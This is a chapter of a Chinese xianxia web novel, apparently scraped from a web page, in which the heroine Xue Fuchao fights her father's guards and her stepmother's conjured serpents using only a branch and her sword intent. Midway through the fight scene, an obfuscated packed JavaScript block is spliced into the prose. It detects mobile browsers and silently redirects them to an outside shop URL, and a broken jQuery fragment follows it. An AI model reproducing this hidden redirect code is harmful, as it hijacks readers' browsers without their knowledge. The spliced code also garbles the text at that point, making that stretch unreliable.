9. 我仍是薛拂朝

作品:《斩亲证道被迫变鲨夫证道

    薛拂朝缓缓转过身。


    十丈开外,薛邑与秦熙华并肩而立,衣袂在皑皑风雪中纹丝不动。


    薛邑身着鸦青色锦纹长袍,腰间悬着那柄名动青云洲的桐君古琴,神色沉静如深潭,唯有一双眼睛冷得像淬了冰。秦熙华则是一袭绛紫华服,云髻高绾,簪着十二支赤金点翠步摇,每一支都在雪色里泛着幽冷的光——


    那曾是属于母亲的法器。


    他们没有怒火更没有鄙夷诘问,神情漠然得有些讥诮。身后是黑压压立着近百侍卫家丁,在风雪中岿然不动,手中刀剑枪戟寒光凛冽,更有人掌心已凝聚起各色术法灵光,将这片沙棠林映得忽明忽暗。


    空气凝滞。


    秦熙华红唇轻启,吐|出三个字,声音不高,却清晰地穿过风雪,钻进每个人耳中:“杀了她。”


    没有多余废话,没有虚伪质问,仿佛薛拂朝是一只误入禁地的蝼蚁,合该被随手碾死。


    侍卫们动了。


    如潮水般涌来,铁靴踏碎满地沙棠落花。冲在最前的八人结成小型战阵,刀光织成密网,封死薛拂朝所有退路。左侧三人持玄铁重盾,盾面符文亮起土黄|色光华,竟是极为罕见的防御法阵。右侧五人手中长枪,枪尖凝聚着幽蓝寒冰之气,正是薛家豢养的天罡卫,专修合击之术,曾替薛邑剿灭过三个不服管束的附属家族。


    薛拂朝站着没动。


    她甚至没有去看那些扑来的侍卫。目光越过刀光剑影,死死钉在薛邑脸上。那张脸曾在她年幼时露出过慈爱笑容,曾手把手教她抚过第一声琴音,曾在她担惊受怕时抱着她说过“阿朝不怕,爹爹在”。


    不成想,哪怕只是幻境中的一个幻影,她都恨不得将他碎|尸万段,令他神魂俱灭。


    胸腔里翻涌的血气再也压不住,气急攻心之下,薛拂朝张口,哇地吐|出一口鲜血。猩红溅在衣襟上,迅速洇开成狰狞的痕迹。


    她不看不顾地笑了一下,侧身,伸手折向身旁那株沙棠树。


    薛拂朝指尖拂过粗糙树皮,握住一截三尺有余的斜枝,五指一握,发力——


    “咔嚓。”


    枝木应声而断。


    断面参差,毫无锋芒,握在手中沉甸甸的。她随手一甩,枝木破空发出呜的一声低啸,几片残留的棠叶簌簌飘落。


    她记事时起就被冠上薛家明珠之称,剑道天赋异禀。彼时薛邑与母亲精心为她请来剑道大能启蒙,两岁起就已经开始练剑,如无意外,她本该在及笄那年拜入问剑山,习得更好的剑术,问鼎剑道魁首之位。


    可如今……


    什么也没有了。


    她五岁那年便什么都没有了,往后的年岁她再也不是薛家明珠。她往后也不要做什么薛家明珠。


    ——她要做薛拂朝。


    “薛家明珠……”她喃喃自语,眼中戾气似要融化这片风雪之地,“今日便让你们看看,这明珠碎时,能溅出多少血。”


    第一刀砍到时,薛拂朝没有躲。


    玄铁重刀裹挟着千钧之力劈向她左肩,持刀侍卫眼中已露出志在必得的光。这一刀足以斩断苍灵境修士的护体灵气,更遑论一个仙根破碎毫无灵力的废人。


    可刀锋触及衣衫的刹那,薛拂朝动了。


    她向左微侧半寸。仅仅半寸,重刀擦着肩胛划过,撕裂衣袖,在皮肉上拉出一道深可见骨的血口。与此同时,她右手沙棠枝木自下而上斜挑——


    “噗嗤。”


    枝木粗糙的断面,狠狠捅进了侍卫的咽喉。


    没有灵力加持,没有剑意灌注,纯粹是靠角度、时机与一股不要命的狠劲。侍卫不可置信的瞪大眼睛,喉间发出咯咯怪响,手中重刀哐当落地。薛拂朝抽回枝木,带出一蓬温热血雾,看也不看那具轰然倒地的尸体,身形已如鬼魅般掠向第二人。


    沙棠枝木在她手中,竟真有了剑的雏形。


    她使的是心剑篇。这套剑法她两岁启蒙,五岁时已能舞出七分剑意,被授剑大能赞为百年难遇的剑道苗子。可后来随母亲搬入破败的小隐居之后,她便再也没有拿起剑,直到薛摇光毁掉她仙根那一日。


    而今,她将心剑篇化繁为简。


    不用剑气纵横,每一刺、每一挑、每一格挡,从最开始的滞涩逐渐精准狠辣到极致。枝木点碎腕骨,打断膝盖,刺穿眼眶,每一次专攻人体最脆弱处。


    但人太多了,她渐渐感到力竭。


    不知第几柄长□□来时,薛拂朝刚拧断一个侍卫的脖子。枪尖已至后心,她勉强侧身,枪锋擦着肋骨划过,拉出一道血淋淋的沟|壑。剧痛让她眼前发黑,踉跄半步,此时另一把刀已当头劈下——


    她举枝格挡。


    “铛!”


    沙棠枝木应声而裂,在薛拂朝手中断成两截,掌心处被震出一道血痕,鲜血顺着掌纹滴落在地。


    薛拂朝忽然松手丢开枝木。


    枝木脱手坠地的瞬间,她矮身撞进侍卫怀中。左手五指如钩,狠狠抠进对方颈侧动脉,右手握住侍卫持刀的手腕,反向一扭——


    “咔嚓。”


    腕骨折断,长刀易主。


    她夺过刀,反手一抹,热血喷了她满脸。温热的,腥甜的,和七岁那年秦熙华端来的那碗药味道一模一样。


    这幻境竟这般真实,真实到反常。


    薛拂朝抹了把脸,拄着长刀站起身。脚下已倒了十三具尸体,血泊浸|透了沙棠落花,空气里弥漫着浓稠的铁锈味。剩余的侍卫们被她的狠辣震慑,一时竟不敢上前,只围成半圆,刀尖微颤。


    她喘息着,每呼吸一次,胸腔都像被钝刀来回刮擦。左肩那道刀伤深可见骨,肋骨处的枪伤还在汩汩冒血,后背、手臂、小腿……大大小小十余处伤口,将本就沾满血污的衣裳染得发黑。


    可她站得笔直。


    目光穿过侍卫组成的屏障,再次落在薛邑脸上。


    这时秦熙华动了。


    她甚至没有离开原地,只是纤指轻弹,发间一支赤金点翠步摇应声飞出。金簪在空中迎风便长,眨眼化作一条三丈余长的赤鳞巨蟒。蟒身水桶粗细,每一片鳞甲都泛着金属冷光,蟒首昂起,猩红信子吞吐间,喷|出淡紫色的毒雾。


    毒雾所过之处,沙棠树叶迅速枯萎焦黑,地面升起滋滋白烟。


    “去。”秦熙华轻启朱唇。


    赤鳞巨蟒俯冲而下,血盆大口直噬薛拂朝头颅!


    薛拂朝疾退。


    她身形如风中秋叶,在蟒影笼罩下左飘右荡,险之又险地避开三次扑咬。可巨蟒速度太快,第四次摆尾横扫时,她再也避无可避。


    “砰!”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17062599|195094||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    蟒尾狠狠抽在她腰侧。


    薛拂朝倒飞出去,撞倒一座亭子摔落在地,积雪溅在她的身上。她挣扎着想爬起,却又吐|出一口血。她的肋骨至少断了三根,刺入肺腑。


    赤鳞巨蟒游弋而至,蟒首低垂,冰冷的竖瞳盯着她,欣赏着垂死的猎物。


    她以刀撑地,摇摇晃晃站起身。每动一下,断裂的肋骨都摩|擦出钻心剧痛,额角冷汗混着血水滑落。可她居然还在笑。


    许是见不得她这副态度,秦熙华发间剩余的十一支金簪齐齐飞出!


    十一支金簪在空中化形,竟变作十一条稍小的赤鳞蟒。十二条巨蟒将薛拂朝团团围住,蟒身交缠,毒雾弥漫,彻底封死所有生路。


    薛拂朝握紧了刀柄。


    刀身映出她苍白如纸的脸,也映出那双冷戾的眼睛。


    她深吸一口气,那口气扯得肺叶生疼。


    然后,她做了个所有人都没想到的动作——


    她丢掉了手中的刀。


    刀落在雪地里,连一丝声响都没有。


    侍卫们愣住,秦熙华蹙眉,连一直冷眼旁观的薛邑,眼底都掠过一丝讶异。


    薛拂朝却看也不看那刀。她弯腰,从满地血污中,拾起了一截断裂的木棍。


    木棍上沾满血泥,粗糙不堪,握在手中甚至有些扎手。可当她重新握住它的刹那,周身气势陡然一变。


    先前那股玉石俱焚的疯狂戾气,如潮水般褪|去。取而代之的,是一种极致的、冰冷的平静。她站直身体,明明满身是伤,摇摇欲坠,脊背却挺得如青松傲雪。


    她举起木棍,枝尖指向十二条赤鳞巨蟒:“我两岁习剑,四岁悟出第一缕剑意。授剑师父说,我天生剑骨,剑心通明。哪怕仙根被毁,灵力全无——”


    她顿了顿,枝木在空中划出一道玄妙的轨迹:“我仍是薛拂朝。”


    “剑意,一直都在我的心中。”


    话音落下的瞬间,她动了。


    没有惊天动地的声势,没有眼花缭乱的招式,她只是提着那截木棍,一步步走向蛇阵。脚步很慢,甚至有些蹒跚,可每一步踏出,都带着某种奇异的韵律。


    第一条赤鳞巨蟒扑来。


    薛拂朝不闪不避,枝木轻轻点出。


    点在蟒首七寸。


    “噗。”


    轻飘飘一声响。巨蟒浑身剧震,竖瞳中流露出人性化的恐惧,随即整个蟒身如沙塔般溃散,重新化作一支金簪,叮当落地。


    秦熙华脸色大变,急催法诀。剩余十一条巨蟒齐声嘶吼,从四面八方扑杀而至。


    薛拂朝的身影在蟒影中穿梭。


    她每一次都精准地落在蟒身要害,没有灵力加持,纯粹是靠剑意与剑势。木棍在她手中,仿若已不是凡木,而是真正的剑。


    一剑破万法。


    第二条、第三条、第四条……金簪接连坠地,化作凡铁。秦熙华额角渗出冷汗,她终于意识到——眼前这个看似油尽灯枯的少女,竟在绝境中,硬生生的为自己悟出了一条生路来。


    她的剑意极为古怪,不似正道修士那般凛然,有些邪性。


    可,一个仙根破碎的废人,竟能靠着剑意在死路中劈开一线生机,也是极为罕见。


    眼见不妙,另一旁的薛邑动了。